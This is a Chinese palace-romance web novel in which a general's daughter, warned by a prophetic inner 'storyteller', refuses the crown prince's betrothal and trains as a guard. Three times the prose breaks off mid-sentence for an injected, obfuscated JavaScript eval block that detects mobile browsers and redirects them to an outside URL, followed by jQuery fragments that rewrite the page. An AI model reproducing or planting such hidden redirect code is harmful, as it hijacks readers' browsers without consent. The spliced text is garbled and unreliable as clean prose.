《女配拒绝满门抄斩的结局包月》
1. 01-03
01
“奉天承运皇帝诏曰”
“颜家军勾结敌国意欲反叛大昶”
“现捉拿颜府叛贼倘若抗拒不从”
“即刻满门抄斩——”
最后的那一个“斩”字在禧公公的嘴里被拉得又尖又长,深深地刺痛了我的耳膜。
颜家仅剩的女眷全都倒在了冰冷的雪地里,她们似绽放于寒风中的一朵朵红梅,触目而惊心。
母亲在临死前用唇语对我说了一个“跑”字,但我却假装没看见。
我手持长剑,踏在红白相间的厚雪上,一步一步地往前走去。
大昶新帝的御启卫齐刷刷地将染着鲜血的剑尖指向了我,厉声警告我放下武器。
我驻了足,紧握手中的剑,一双望向苍穹的眼里再无任何留恋:
“不劳你们动手,我自己来。”
闭上眼之前,我有幸瞥见了禧公公手中圣旨的一角,落款的时间是——
“旭熹元年二月十七日”
……
我猛地一下从榻上坐起,整个人仍然是惊魂未定。
面颊上带着些许湿意,我僵硬地伸出手一抹,竟是满脸的泪痕。
念秋这丫头在听到我这屋内的声响后,第一时间就从隔壁的耳房跑了过来,她神色焦急:
“小姐!您可是有哪里不舒服?”
在念秋的眼里,此刻的我,是极度木讷的。
眼中无光,恍若一个饱经沧桑的将死之人。
这可把她给吓坏了,急忙跑出去叫了个小厮,让人赶紧请个大夫来府上给大小姐瞧瞧。
“不必。”此时的我已经披好了外衣,正站在房间门口,语气格外平静,“我无事,只是做了个噩梦罢了。”
见此,念秋这才松了口气,一边示意小厮退下,一边小跑到我身边:
“哎呦喂,小姐您方才那样子可真真儿吓死我了!”
我没好意思讲,其实我也被那个噩梦给吓住了。
幸好,它终究只是个梦而已,不是真的。
即使我一直在心中如此安慰自己,但我已然睡意全无,现下只能是拉着念秋陪我在府里到处走走。
我四处流转的目光最终停留在了院内的池塘中。
看着那一枝枝含苞待放的荷花,不知怎的,我的眼前忽然就闪过了梦里的最后一幅画面。
我不自觉地向念秋问道:“今夕是何年?”
显然是没料到我会这么问,念秋这丫头先是懵了一下,继而答道:
“回小姐,今日是弘宁九年六月初十。”
“弘宁九年啊……”
梦中的那个故事,似乎是从弘宁十二年开始的。
这时,就像是有一个说书人在我的脑子里住下了一样,它突然开始喋喋不休:
[弘宁十二年五月,圣上驾崩]
我拼命地摇晃脑袋,试图把这句大逆不道的话语甩到九霄云外。
可它还在我的脑子里继续道:
[太子李琮旭登基,改年号为旭熹]
02
弘宁九年六月三十。
今日是太子殿下十九岁的生辰宴。
爹爹是我朝战功赫赫的大将军,我作为他唯一的女儿,自然是收到了来自皇宫的邀请。
偏偏此时,原本在我脑子里已沉寂了大半个月的“说书人”竟然又“死而复生”了:
[于太子殿下的生辰宴上]
[颜家女赠祥云玉佩一枚]
[却不料失手摔碎]
我使劲地摁着太阳穴:“停下!给我停下!”
它确实是停下了。
但这寥寥的几句话,在我耳边却始终挥之不去。
特别是当我看向礼盒里装着的那一枚祥云玉佩时,我的眼皮直跳,总感觉会有什么不好的事情发生。
直到念秋在屋外喊了声:“小姐,该起轿入宫了。”
顾不了那么多,我小心翼翼地揣好要赠给太子哥哥的生辰礼,出府,上轿。
……
这已不知是我第多少次来皇宫了。
迄今为止,弘帝膝下只有一儿一女,皆为先皇后所出。
由于我与璟乐公主年纪相仿,故时常会被召进宫里陪殿下解闷。
从某种程度上而言,我确实是圣上看着长大的。
圣上亦经常跟我念道,由于我父亲长年为国驻守边疆、鲜少归家,他便代为照顾我,且早已把我当成亲生女儿般看待。
如果没有做过那场梦,我或许会很高兴,自己和父亲能够得到圣上的肯定与认可。
但如今不一样了:
我永远忘不了,在那个梦中,颜府被满门抄斩的场景;
在被鲜血染红的寒冬里,那种令人窒息的绝望感,至今仍让我记忆犹新。
我不禁心生怀疑:
自己和颜府,会不会都只是弘帝拿来震慑我父亲的筹码?
但很快,我又将这种不该有的念头压了下去。
尤其是当圣上远远地看见我,又十分亲切地喊了一声“熹儿”后,我仿佛在他身上看到了久违的父亲模样。
弘帝一向平易近人,他笑得格外和蔼:“熹儿,坐到朕身边来。”
这时,宴席另一侧的少女佯装不高兴的样子,出声打岔:“父皇,这可不成!知熹好久没来宫里玩了,我要挨着知熹坐!”
圣上平素里很宠璟乐公主,听自家女儿这么一说,他也只能“忍痛割爱”了。
李璟乐立马换上一副恃宠而骄的胜利笑容,兴高采烈地朝我招手:“知熹,快过来,我旁边这座可是特意留给你的!”
我先是规规矩矩地给圣上行了礼,随后才抬步朝着璟乐公主走去。
待我落座后,我的目光却猝不及防地和对面的人撞上了视线。
太子哥哥在看我,而我恰好也看见了他。
今日的他,看上去还是一副生人勿近、冷冰冰的模样。
但架不住人家长得好看啊,就算是摆着一张冷脸,也能令在场的各家千金忍不住偷偷瞄他。
我大大方方地对他露出了一个礼貌的微笑,随即就撇开了视线。
下一秒,我的脑子里竟再一次响起了“说书人”的声音:
[生辰宴上,圣上欲为太子选妃]
03
从小到大,太子哥哥给我的印象总是一副冰冷的稳重模样,就连说话也是淡淡的,很少
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16830122|191166||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
会让人看出他的情绪。
璟乐公主恰恰相反。
她的性格跟我相似,调皮好动、咋咋呼呼,时不时想出一些鬼点子,还非要拉着我一起实践。
但她身子骨打小就不太好。
我记得,每次陪她玩乐一番后,总会有宫女姐姐来提醒她该喝药了。
那时我也好奇过,既然太子殿下和璟乐公主皆为皇后娘娘所生,可为何兄妹两人的性格会相差甚远?
直至有一日,我与璟乐正在皇宫里玩躲猫猫,经过御书房门口的时候,我恰好听见了圣上训斥太子哥哥的声音。
打那以后,我才知道原因:
弘帝虽然很宠璟乐公主,但对自己的儿子却格外严格,甚至算得上是苛刻。
自从先皇后病逝,这种对比就越发鲜明:
圣上对公主有多宠,就对太子有多严苛。
小时候,璟乐拉着我一同把皇宫闹个底朝天算得上是家常便饭,但陛下却不曾说过我俩一句重话;
而我却经常撞见圣上板着一张脸责备太子殿下,或是嫌他写字写得不够好,或是训他练武姿势不标准,或是骂他养鸟后荒废了学业等等。
总之,在太子面前,弘帝从来都不曾对他露出过笑容。
圣上对自家儿子的态度只会让我觉着,他极其偏心,且对太子似乎很不满意。
想着想着,我却忽然听见陛下提到了我:
“以往风风火火的熹儿今日怎会这般文静?”
此时,本应是和众宾客谈笑风生的弘帝竟突然把话题扯到我身上,强行打断了我的思考。
我人还是懵的,因为我一直在走神。
而且我并不知晓,陛下为何偏要在此刻将我置于众人目光所及之中心。
接着,圣上用一副很怀念的语气笑道:“朕忽然又想起了那年,你跟乐儿爬树掏鸟蛋的场景。”
黑历史被提及,我跟旁边的璟乐公主齐齐低下了头,甚至恨不得地上有个洞能让自己钻进去。
可陛下却全然不顾我俩尴尬的神情,仍旧还在津津乐道:“结果,不仅鸟蛋没掏成,两个小丫头反倒是糊了一脸的鸟——”
“父皇!”李璟乐终于忍不住了,羞红着脸,一声嗔怪,“那都是多久以前的事了?父皇若是再拿我跟知熹小时候的糗事取笑,乐儿可就要生气了!”
经过这么一个小插曲,宴席上的氛围瞬间轻松不少,众宾客继续愉快地交谈了起来。
当然,脚趾抠地的我和璟乐除外。
不知道是不是我看错了,我从捂着脸的指缝间,似乎见到对面人的嘴角处勾起了罕见的一抹笑意。
“知熹,等会给皇兄送完礼后,咱俩就偷偷溜走吧。”
还是璟乐率先按捺不住,悄悄跟我密谋了起来。
我俩一拍即合。
我当然巴不得早点逃离这种大型社死现场。
可这次的“出逃计划”并不顺利。
轮到我去给太子哥哥献上生辰礼时,不知是哪位宾客伸出脚绊了我一下。
我一个踉跄,手中的檀木盒子没端稳,重重落地。
“咔嚓”一声清脆,我眼睁睁地看着那枚祥云玉佩在地上碎成了几块。
2. 04-06
04
众目睽睽之下,我的第一反应既非紧张害怕,亦非羞愧愤怒,反而是无比震惊。
没想到,我脑海中那个“说书人”的话竟然真的应验了。
在这之前,我向来都不信它,也一直强迫自己别把它当回事。
可现在却……
当我还在盯着地上的玉佩碎片发愣时,圣上主动出声为我解了围:
“果然还是朕熟悉的那个熹儿,都这般年纪了,还跟儿时一样马虎呢。”
陛下看似是在训我,但语气里却是满满的包容。
此外,我亦听懂了他话里的深意:
方才到底是谁绊了我,就莫要追究了。
圣上趁此换了话题,正好让众人的视线都从我的身上转移:
“此次生辰宴,朕还有一件要事宣布——”
我的眼皮开始狂跳。
下意识的,我想起了脑海中那个“说书人”的话:
难道陛下真要给太子殿下选妃?
“太子于今日已年满十九,朕打算借这千载难逢的机会,从在场的各家闺秀中择一位千金,并以‘预太子妃’的名义住进东宫。”
圣上的话音刚落,全场沸腾。
特别是那些精心打扮过的千金小姐们,纷纷开始蠢蠢欲动。
再无任何一个人把注意力放在刚刚出了糗的我身上。
不过我也没有精力去在意别人的眼光,因为我的脑子现在已经快要爆炸了:
这一切竟然是真的!
为什么我脑中的那个“说书人”能预测到这些事情的走向?
这到底是为什么?
一个侍女不知从何处跑了过来,恭敬地扶住我:“颜姑娘,奴婢送您回座位。”
当我麻木地回到原位重新落座后,璟乐摇了摇我的胳膊,安慰道:
“知熹,不要紧的。我皇兄他对这些礼物从来都不在乎,你别放在心上。”
我闷闷地“嗯”了一声,其实根本就没听璟乐在说什么,我仍在消化着那些已经灵验的“预言”所留下来的震惊感。
但我还是有些肉疼地看了一眼刚才摔碎玉佩的地方。
虽然它不是很贵,但那枚玉佩毕竟是我精挑细选的。
可那个地方在此时竟已经被打扫得干干净净,连一丁点碎片都看不见。
好吧,我更肉疼了。
非常遗憾,我都还没来得及给那块可怜的玉佩开个追悼会,“说书人”的“预言”又来了:
[圣上有意择颜家女为太子妃]
这句话让我震惊得如遭天雷劈了一般:
这怎么可能?
在梦中的话本子里,新帝娶的皇后并不是我啊!
故事情节前后矛盾,这“说书人”肯定是假的!
得出这个结论后的我反而松了口气。
此刻,旁边的璟乐公主忽然冲我眨了下眼:
“我想到溜走的法子了!”
说完,她果断拿起桌上一盏半凉的茶,毫不犹豫地淋湿了自己的裙角。
“父皇,儿臣方才无意打翻茶盏,把裙子弄脏了。”她可怜巴巴地望着主座上的人,“还请父皇允许儿臣提前告退。”
圣上对自家女儿的性子早就了如指掌,并没有拆穿她的小把戏,索性摆摆手任她而去。
“知熹,你陪陪我呗。”计谋得逞的李璟乐兴冲冲地拉上我,准备开溜。
偏偏这时,弘帝犀利的眼光扫了过来:“乐儿,你若要提前离席,可以;但熹儿,必须留下。”
05
我朝有一个不成文的习俗。
宴席上,要是有哪一对公子小姐看对了眼,便可主动给心仪之人敬一杯桃花酒。
若是郎有情、妾亦有意,那对方便会同样回敬一杯桃花酒,二人需同时一饮而尽。
因此,我终于知道了,为何圣上执意要让我坐到他的身边去。
璟乐当然不想丢下我独自离席,但陛下已然发话,势必要将我留下。
在她一步三回头地离去后,弘帝便立即让我挪座到了他的身旁。
我看着桌上多出来的那一杯桃花酒,心中直打鼓。
“赴宴的各家千金皆是知书达理、秀外慧中,着实把朕看花了眼。”圣上先是将在场的各府小姐齐齐夸赞了一番,紧接着便将这“烫手山芋”交到了自家儿子的手上,“不知现下,太子可有中意的人选?”
弘帝此话一说完,宴席之上的千金小姐们个个都放轻了呼吸,投向太子殿下的视线里充满了期待与希冀。
全场可能只有我把头埋得低低的,生怕脑中的那个“预言”成真。
尽管被众多双眼睛直勾勾地盯着,太子仍然保持着一副从容淡定的模样。
他慢条斯理地端起桌上的一只白瓷酒杯,缓缓起身。
李琮旭的目光先是于宴席之中礼貌地流转了一番,最终,他看向了坐在圣上旁边的我:
“颜小姐,孤敬你一杯。”
霎那间,我的脑子直接“嗡”的一下,像炸开了花一样:
那个“说书人”的“预言”,居然又又又灵验了!
见我还在发愣中,圣上“温柔”地催促道:“熹儿,不给你的太子哥哥回敬一杯吗?”
陛下都发话了,我难道还能拒绝?
我算是彻底明白了,圣上其实早就将我内定为了“预太子妃”。
而这场所谓的生辰宴选妃,不过只是个幌子罢了。
至于弘帝为什么选我,我比任何人再清楚不过了:
因为我的身后是颜府,是当朝将军,是整个颜家军!
如果没有做过那场梦,我或许还真就傻傻地以为,太子哥哥是因为对我有情,所以才会选我。
其实不然。
太子妃是谁根本就不重要。
毕竟皇室需要的不是太子妃,而是一个有着雄厚背景的将门嫡女!
我伸出手去,僵硬地端起了桌上的那杯桃花酒。
酒水是淡淡的浅粉色,一圈一圈的涟漪微颤着。
但不管怎么看,我总觉得它像是一个会将人给吞噬掉的可怕漩涡,仿佛下一刻就能让我万劫不复。
迎上太子殿下向我投来的平淡如水的目光,我不知哪来的勇气,竟于众目睽睽之下又将手中的酒杯放回了桌上:
“小女惶恐。”
太子殿下对我的反应似乎感到有几分意外,但他也仅是轻轻地皱了下眉,仍然保持着举杯的姿势,一动不动。
圣上亦没有生气,他甚至还笑着为我圆场:
“朕知你定是受宠若惊,无妨。熹儿,朕为你担保,只要你入了这东宫,从今往后,将军府皆是朕的皇家人。”
陛下这话中的分量实在是太重了。
这分明就是摆着要把我们颜家牢牢地攥在他的手心。
太子的语调依旧没什么起伏,他耐着性子又说了一遍:“颜小姐,孤敬你。”
说完,再不等我答复,他便径直将杯中的酒一饮而尽。
压力又给到了我身上。
此时此刻,我只感觉自己像是一条被架在火上烤的鱼一般,浑身难受。
我想,我可能把我这辈子的勇气都花在了今天的这一杯酒上,仍然没敢把它端起:
“承蒙殿下厚爱,小女自知德不配位,还请殿下三思。”
06
全场一片
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16830123|191166||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
唏嘘。
我仿佛听到有人在窃窃私语。
或是嫌我不识好歹,或是幸灾乐祸地坐等我被陛下降罪。
但圣上却迟迟未发话。
我知道,这也许就是暴风雨欲来前的宁静吧。
我不敢扭头看他,亦不敢去看被我当众拂了面子的太子。
就当我正打算原地跪下,主动请求圣上降罪时,太子殿下那冷淡的嗓音又响了起来:
“父皇,太子妃一位确实不能仅凭儿臣一人做主,颜小姐或许需要一点时间考虑。”
太子殿下这是在替我打圆场?
我小心翼翼地抬起眸子看他。
他正好也将视线投了过来,可我仍看不出他脸上的情绪:“若是孤不曾记错,颜小姐应是明年及笄,可对?”
我怯怯地回应道:“回殿下,是的。”
李琮旭放下了手中的酒杯,向主座上的人抱拳提议道:
“父皇,依儿臣所见,不如就将择太子妃的时日推至明年。颜小姐如今尚未及笄,提早入住东宫也着实不合礼数。”
陛下的脸上这才浮现了几分笑意:“果然还是朕的太子想得周到,那便依你所说的办罢。”
说完,圣上应是对我刚才的表现仍不满意,刻意多提了一句:
“既如此,那便定在太子明年的加冠礼上罢。届时,朕将邀请大昶所有已及笄的未出阁女子参宴。太子妃一位,不论家世与出身,人人皆有机会!”
圣上此话一出,原本像花儿一样蔫巴巴的千金小姐们全都在这一瞬间又齐齐焕发出了活力。
可我很清楚,陛下这句话明显是要给我一种压迫感。
话中暗藏的意思就是,既然今年我不识好歹地拒绝了,那可就不要怪他在明年给我增加难度。
等到了那时,可就远远不止在场的各家千金了,还有全朝上下的所有适龄女子,皆会是我的“竞争对手”。
不过没关系,反正我对这太子妃一位也不感兴趣。
最后究竟会花落谁家,我亦不在乎。
只是我没想到,此次于太子生辰宴上的糟糕表现,被圣上给直接告到父亲那儿去了。
……
爹爹是在七天后回到将军府的。
他赶回来的时候风尘仆仆,还正好撞上了才从娘家参加完亲人丧葬而归的娘亲。
是的,母亲在半个月前就回娘家了。
由于将军府必须要有人去现身太子殿下的生辰宴,故当时便只留了我一人“单刀赴会”。
现在我才知道,这个“有人”必须是我。
因为爹爹和娘亲二人一回来就异口同声地让我跪下。
看到多年未见的爹爹,我本来以为,这明明应该是父女重逢的温馨场面,可他一见着我,便指着我的鼻子开骂:
“颜知熹!你究竟有没有把爹娘的话听进去?
“爹是不是跟你说过,你必须要当上太子妃!
“我颜矩的女儿一定要做皇后!”
也许便是在此时,我生出了反骨:
“为何?
“爹为何一定要让我做太子妃?
“为何一定要逼我坐上未来皇后的位置?
“爹娘如此算计,可考虑过熹儿的感受?”
娘亲用一种恨铁不成钢的眼神望着我:“熹儿,娘还以为你已经长大了懂事了。可你,你为何还是这般任性?”
我不服,亦不愿从,一声嘲讽:
“我任性?那你们呢?千方百计地逼自家女儿当上太子妃,不就是为了享一辈子的荣华富贵吗?”
话音刚落,“啪”的一声清脆——
是爹爹给了我一个大大的耳光。
3. 07-09
07
“你……你,你个逆女!简直是朽木不可雕也!”
这应该是从小到大,爹爹对我说过最重的话,以及下过最重的手。
我倔强地噙着眼里的泪水,努力不让它流下。
“滚,你给我滚!别让我看见你!”
爹爹现在也在气头上。
他知道,若是再和我这般吵下去,估计也只能落个“两败俱伤”的下场。
只不过他是被气出的内伤,我是被打伤的罢了。
爹爹毕竟是武将。
他的那一巴掌,就算只用了一成的力道,也足以让我的脸颊立马变得红肿。
念秋一边为我上药,一边心疼不已:“小姐,您真是自己给自己找罪受!将军好不容易回家一次,您为何要跟自己的父亲过不去呢?”
我没回她,只是“嘶”了一声:“疼,轻些。”
念秋立马放轻了手上的力度。
她正打算继续为我上药时,闺房的门被娘给推开了:“念秋,你退下罢。药放那儿,我来上。”
“好的夫人。”
等到念秋这丫头退了出去、屋里只剩下我娘俩的时候,我的眼泪再也绷不住了:
“娘……”
看着我脸上的红印,娘亲亦是心痛且心疼的。
她先是将我拥在怀里安抚了一会儿,等我的情绪稳定后才接着给我上药:
“别哭了啊,娘在给你上药呢,可别把这药粉给冲散了。”
我吸了吸鼻子,只得改换成小声的啜泣。
上完药后,母亲才语重心长地跟我道来了他们如此愤怒的原因:
“钱财也好名声也罢,其实娘和你爹从来都不在乎那些身外之物。熹儿啊,我跟你爹今生的唯一所求,就是希望你能平平安安地过一辈子。
“但是熹儿,你可明白?如今这世道,若你仅是一个身份低微的平民百姓,‘平安’便就是一种奢求。只有权力和地位,才能成为你坚实的后盾。”
我摇了摇头,表示极不认同:
“我不需要那些,熹儿只想永远做爹爹和娘亲的女儿,这就足够了!”
听到我这番幼稚的发言,娘亲笑了,但她的笑中却掺着一丝苦涩:
“可是熹儿,爹和娘不能护你一辈子啊!”
顿了顿,娘亲接着苦口婆心地劝我:
“爹和娘只有你一个女儿,你知道这意味着什么吗?这意味着等你爹老了、杀不动敌了,将军府亦后继无人,我们对皇家便再无任何可用之处!
“如今,你爹虽是大将军是大功臣,且极得圣上看重,但熹儿你可知晓,有多少人在等着你爹交出虎符?又有多少人在虎视眈眈着将军府的位置?”
如此一番话,让我总算听懂了娘亲话里的深意,我亦明白了他们的苦心:
只有我坐到了那个一人之下、万人之上的位置,我才能后生无忧,他们才能放心离去。
思忖片刻后,我的眼神里透出了坚定:“女儿明白了。”
听到了我的这句话,娘亲正准备露出欣慰的笑容、再给我一个大大的拥抱时,出乎她意料的是,我竟又补了一句:
“那我便继承爹爹的衣钵,当一位女将军!”
08
颜矩虽手中拿着军书在翻阅,但实则一页也未能看进去:“她跪了多久了?”
终于等到了将军的问话,在书房门口来回踱步的念秋急忙答道:“回将军,小姐已经在院中跪了足足两个时辰!”
当父亲得知了我要做一位女将军的志向后,他自然是先把我痛骂了一顿,随后便是冷处理。
好在我也有我自己的对策。
这招苦肉计还是挺好使的。
因为我知道父亲一向疼我。
看着爹爹终于忍不住从书房里走了出来,我就知道,我的苦肉计成功了。
他向我走来时,我刻意将腰背挺得板直。
“明日爹就要回薄州继续驻边。”爹爹走到了我跟前,似乎是轻叹了口气,“你若是执意想习武,明日离京之前,就跟爹一同去见见皇监卫的岁大统领。”
我满心欢喜,高兴得立马给父亲原地磕了几个头:“谢谢爹!”
看着念秋扶着一瘸一拐的我回屋的背影,娘最是揪心:“你当真要让熹儿去习武?皇监卫里全是男子,熹儿她可是个女儿身啊!”
“习武并非一朝一夕就能练出来的。”颜矩似乎是断定了自家女儿吃不了这苦,“我赌她不出两日定会打消习武的念头,乖乖回府。”
毕竟,在府上当大小姐,可比天天流着苦汗习武要轻松得多。
……
但父亲还是低估了我要改变自己命运的决心。
这已经是我在皇监卫军营习武的第七日。
当岁大统领来军营例行巡查的时候,他显然惊讶于竟还能再次看见我。
我初次见他,是在爹爹离京的那日。
岁大统领在听见我爹的荒诞请求后,自然是大吃了一惊:
“老颜,你当真舍得把你家宝贝闺女扔进我们皇监卫吃苦?你让本统领教一个小丫头片子习武?啧啧,简直是闻所未闻!”
而爹爹只是把他拉到了一旁窃窃私语,至于具体说了些什么,我并不知晓。
但不管怎么样,岁大统领最终还是点头应下了:
“那便皇监卫的第四军营罢,正好今儿加了一个新人,再多一个也无妨。”
后来我才知道,爹爹跟他说的那句悄悄话,大概就是让我进去试试两天,好让我知难而退之类的。
故此,岁大统领于第七日再次看见我时,显然是格外惊讶的:
“颜家丫头,你竟还留在军营?”
我的身子站得笔直:“回统领,属下申请取消‘特权’。”
他好奇追问:“何种特权?”
“属下请您能将我一视同仁,摒弃我颜府嫡女的身份,只将我看作与皇监卫里的其他侍卫一样。”我的声音不卑不亢,态度坚决,“属下希望能得到同样的习武强度和标准。”
听完我这番话后,岁大统领倒是有几分对我刮目相看了:
“本统领倒是不曾料到,你这小丫头片子竟还真有这份毅力和决心。既如此,那你就和你们军营新来的那小子一起练罢。”
我正要感激道谢的时候,他却又丢给了我一块绊脚石,语气有些傲慢:
“但本统领的丑话可要说在前头:自古以来,男子的力量就远远高于女子,本统领就从未见过有能打败男子的女子!
“三个月后,皇监卫内部将举行比武大赛。你若是能在擂台上赢下任何一个皇监卫的人,那本统领便认可你的习武资质,四大军营任你留下!”
这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16830124|191166||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
份“战书”,我当然是接下了:
“感谢统领给属下机会。大赛那日,我定会让您见到一个能打败男子的女子!”
09
岁大统领自然是把我的话当成了儿戏。
因为他压根就不觉得我能在皇监卫的魔鬼训练下挺过这三个月。
他甚至还打心底认为,都不用等到比武大赛那日,我这个千金大小姐便早已因吃不了苦而打道回府了。
但我一直咬牙坚持了下来。
不论每日的例训有多苦有多累,我都竭尽了全力去完成。
某一次中场休息的时候,岁翌走到了我的旁边,说了这么一句话:
“你习武时给我的感觉,就像是已经到了拼命的地步。”
他跟我一样,都是第四军营新来的,而且也是个有背景的。
是的,岁大统领正是他的父亲。
但他父亲在习武这件事上对自家儿子的要求非常严格,不仅没有给他搞任何特权,反而还让第四军营的赵副统领对他更加严苛一些。
所以岁翌这家伙每日也要承受加大加量的额外训练。
只不过他是被迫的,我是主动的。
我深知自己的体能、身体素质等等皆比不过男子,故我只能给自己加大了训练的量。
而等我完成每日加训后,练武场上就只剩下我们二人了。
也正因如此,同为“难兄难弟”的我俩就是这般结识的。
离比武大赛还有将近一个月的时候,我常常拉着岁翌陪我一起练对打。
可无论如何,我就是打不过他。
几个来回后,岁翌一个猛击,我手中的剑直接就脱了手,震得我的虎口生疼。
“你现在的状态不太对劲。”岁翌弯下腰去帮我捡起了剑,但却没有递到我手上,“明日再继续,今日便到此为止。”
“不行!”我咬了咬牙,“我没时间了,一个月后我必须要赢!”
听到我这话后,岁翌反而将剑收回了剑鞘里:“那你先告诉我,你为何要如此拼命地习武?明明以你的身份——”
不等他说完,我就打断了他:“我要当一位女将军。”
他应该也是第一次听到“女将军”这个说法,非常意外:“为何?”
可我却保持了沉默,没有回答。
这只会让他感到越发疑惑不解:“我是真不明白,明明以你的身份,在将军府里安安稳稳地当个大小姐不就好了?”
“你不懂,也别多问。”
自始至终,我都只当他是个被父亲逼着来练武的纨绔子弟。
我亦不想把我脑中住着一个“能预知未来的说书人”的秘密告诉任何人。
见我态度冷淡,岁翌便干脆摆出了一副拍拍屁股就要走人的姿势:
“不好意思啊,你今日若是不告诉我原因,那以后本少爷可就不陪颜大小姐练武喽。
“哎呀,颜大小姐应该也知晓,我作为统领家的少爷,时间也是很宝贵的哪。”
见他作势要走的模样,我只得模棱两可地解释了一句:
“为了颜府,为了爹娘,也为了我自己。”
我不知道岁翌究竟有没有把我这句解释当真,但他似乎是接受了我这个说法,又转身走了回来。
他轻笑了一声:“既然如此,那看来我们的目标是一致的。”
4. 10-12
10
岁翌开始向我道来了他的故事:
“我的兄长于数年前为圣上挡了刺客一剑而死,统领府便只剩下我一个庶子。
“我爹从来都不曾将统领府未来的希望寄托于我,毕竟他眼里的我生性懒散。但打那以后,我爹别无他法,因为他只有我这一个选择。
“我爹便拿我娘与我做谈判——等我当上了皇监卫的副统领,他就抬我娘做正妻,给我娘一个名正言顺的名分。”
说完后,他的眼神里便染上了几分忧伤,还有隐隐的不甘。
“唰”的一下,我将自己的剑从剑鞘里又抽了出来,摆好了进攻的姿势:
“既然我们的目标一致,那就更应该用功习武、互帮互助。来,继续!”
岁翌笑着点头,亦重新握紧了自己手中的剑:“我承认,颜大小姐方才的这话,确实说得中肯。”
夕阳的余晖洒在皇监卫军营的练武场上,我俩在刀光剑影中又加练了一个时辰。
由于我在与岁翌的对练中过于投入且认真,完全没注意到有一抹熟悉的身影正站在宫墙之上的楼阁中。
此时此刻,李琮旭正居高临下地注视着皇监卫第四军营的练武场。
按照太子殿下的每日行程,这个时候,他应该是要去藏书阁的。
但现在,他已经于此处站了大半个时辰之久。
久到一直规规矩矩候在他身旁的魏禧之都忍不住了,只得主动出声询问道:
“殿下,这藏书阁,今日可还去否?”
但李琮旭却一直目不转睛地盯着下方的练武场,不答反问:“皇监卫第四军营是何人在管?”
魏禧之当然没料到太子殿下会突然这么问,他小心翼翼地答道:“回殿下,若是老奴没记岔的话,应是赵副统领赵另。”
终于,下方练武场内的二人已对练完毕。
他依然是冷眼看着他们嬉笑离去的背影。
“把赵另叫到孤面前来,孤有话要问他。”
语毕,李琮旭一个利落的转身,挥袖而去。
……
东宫,旭启殿。
魏禧之向着案桌前的人恭敬作揖:“殿下,人已经到了。”
那人头也不抬,语气是一如既往的冰冷:“让他进来。”
“喏。”得到了殿下首肯后,魏禧之小步快走至殿门外,对候在门口的赵另比了个“进”的手势,“请吧,赵副统领。”
平日里,除了带领皇监卫捉拿刺客外,赵另可以说是没踏进过这东宫半步,更遑论被太子殿下找去单独谈话。
心中无比忐忑的赵另先是给魏禧之的手中悄悄塞了些碎银子,随即低声问道:“禧公公能否告知一二,殿下为何会突然找赵某?”
说实话,魏禧之也拿不准殿下对此事的态度,他不敢收下,只能是推脱道:“咱家也不知哪,赵副统领还是快些进去罢,莫要让殿下等久了才是。”
这无效回答听得赵另简直两眼一黑。
他只能是深呼了一口气,做足了最坏的打算,这才敢迈开步子跨进了冷冰冰的旭启殿。
11
一入殿,赵另就以极其标准的姿势向太子殿下行了礼:“微臣参见殿下。”
“平身。”李琮旭停下手中的笔,从满案的奏章中抬起头来,将视线投向了赵另,“孤有一事想问问你。”
但赵另压根就不敢起身,干脆就以这行礼的姿势毕恭毕敬地回道:“殿下请讲。”
“孤记得,皇监卫练武场乃专人专用。”李琮旭一边搁下笔,一边质问道,“可为何,孤今日却见到练武场内有不相干的人?”
这个问题,着实把赵另给问懵了:
殿下此话究竟是何意?
什么叫“不相干的人”?
赵另只得将求助的目光看向站在一旁的禧公公,可对方却压根不看他。
没办法,他只能硬着头皮上了:“恕微臣愚钝,还请殿下明示。”
“啪”的一下,李琮旭合上了手中的奏折,嗓音似乎又冷了几个度:“颜大将军之女为何会身着侍卫的打扮出现在你的第四军营?”
太子殿下的这句直白话总算是让赵另恍然大悟了:
原来殿下是在问他关于军营里新来的那名女侍卫一事。
他记得,当时岁大统领将那名女子丢给自己带领的时候,只说了她是一位故友家的女儿。
还说她打小就跟个假小子一样喜欢练武,便把她安排到了自己的军营里,就当混口饭吃,不必太过在意来着——
等等!方才殿下说她是谁来着?
赵另的眼珠子瞬间就瞪大了:
“颜大将军之女?”
将军府的千金?
这才后知后觉自己似乎掉进了火坑,赵另忙不迭地把责任推给了“挖坑”的自家上司:
“微臣仅仅只是听令于岁大统领,完全不知她竟是将军府的千金!还请殿下明查!”
“查什么查?孤很闲吗?”李琮旭有些不耐烦了,“孤只想知道她为何会进到你的军营里!”
“回殿下,微臣真不知其中缘由!”赵另被吓得“噗通”一声径直就给跪下了,果断甩锅,“殿下不妨直接问问岁大统领,是他安排微臣接手的!”
